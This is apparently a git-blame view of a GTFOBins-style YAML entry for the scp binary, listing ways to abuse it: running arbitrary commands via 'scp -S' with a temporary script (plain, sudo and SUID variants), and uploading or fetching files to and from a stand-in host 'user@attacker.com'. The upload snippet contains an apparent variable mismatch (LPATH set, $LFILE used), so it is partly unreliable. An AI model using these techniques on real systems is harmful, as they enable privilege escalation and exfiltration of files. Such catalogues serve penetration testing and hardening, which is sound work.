2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-05-25 15:30:02 +02:00
|
|
|
execute-non-interactive:
|
2018-05-21 21:14:41 +02:00
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
2018-05-25 14:11:36 +02:00
|
|
|
CMD="id"
|
2018-05-21 21:14:41 +02:00
|
|
|
echo "$CMD" > "$TF"
|
|
|
|
chmod +x "$TF"
|
|
|
|
scp -S $TF x y:
|
|
|
|
sudo-enabled:
|
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
2018-05-25 14:11:36 +02:00
|
|
|
CMD="id"
|
2018-05-21 21:14:41 +02:00
|
|
|
echo "$CMD" > "$TF"
|
|
|
|
chmod +x "$TF"
|
|
|
|
sudo scp -S $TF x y:
|
|
|
|
suid-limited:
|
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
2018-05-25 14:11:36 +02:00
|
|
|
CMD="id"
|
2018-05-21 21:14:41 +02:00
|
|
|
echo "$CMD" > "$TF"
|
|
|
|
chmod +x "$TF"
|
|
|
|
./scp -S $TF a b:
|
|
|
|
upload:
|
|
|
|
- description: Send local file to a SSH server.
|
|
|
|
code: |
|
2018-06-04 19:53:35 +02:00
|
|
|
RPATH=user@attacker.com:~/file_to_save
|
2018-05-21 21:14:41 +02:00
|
|
|
LPATH=file_to_send
|
|
|
|
scp $LFILE $RPATH
|
|
|
|
download:
|
|
|
|
- description: Fetch a remote file from a SSH server.
|
|
|
|
code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
RPATH=user@attacker.com:~/file_to_get
|
2018-06-04 19:53:35 +02:00
|
|
|
LFILE=file_to_save
|
2018-05-21 21:14:41 +02:00
|
|
|
scp $RPATH $LFILE
|
|
|
|
---
|